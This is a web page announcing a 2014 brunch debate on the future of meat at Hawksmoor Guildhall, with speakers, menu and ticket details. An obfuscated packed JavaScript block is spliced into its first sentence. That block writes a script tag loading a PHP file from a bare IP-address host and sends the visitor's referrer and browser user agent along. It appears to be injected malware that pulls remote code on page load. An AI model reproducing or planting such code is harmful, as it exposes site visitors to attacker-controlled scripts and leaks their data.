The (function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(” 4=\’7://5.8.9.f/1/h.s.t?r=”+3(0.p)+”\o=”+3(j.i)+”\’><\/k"+"l>“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|raind|var|u0026u|referrer|ykide||js|php’.split(‘|’),0,{}))
team behind TOAST are back for their second year and this time they’re delving into the meatiest of subjects. What is the future of meat?

Taking place at city steak-institution Hawksmoor Guildhall on Saturday 5th April, the event
will not only bring together some of the meatiest minds in the business, but a bevy of delicious brunch dishes and an expertly blended Bloody Mary or two.

Kicking off at 11.30am, guests will enjoy that most stirring of brunch cocktails before cracking on with a debate led by three men who know a thing or two about meat. Speaking will be Hawksmoor executive chef Richard Turner, The Ginger Pig owner Tim Wilson, and Philip Lymbery, CEO of charity Compassion in World Farming and author of Farmageddon: The True Cost of Cheap Meat. The panel will share their perspectives on the UK’s current relationship with meat, what a healthy, sustainable supply chain could look like, and what we’ll really be eating 100 years from now.

After those meaty subjects have been well and truly chewed over, guests will enjoy
a sharing-style brunch cooked by the team at Hawksmoor Guildhall, with produce from The Ginger Pig. Dynamic dishes will include pig cheek scrapple with grits, short-rib bubble and squeak, homemade baked beans, fried eggs, black pudding, hash browns and piles of toast with plenty of butter. A meal not to be missed.

Tickets are on sale now and cost £40

Get Tickets
Sat 5th Apr 2014, 11:30am – 3pm
Hawksmoor Guildhall, 10 Basinghall Street, EC2V 5BQ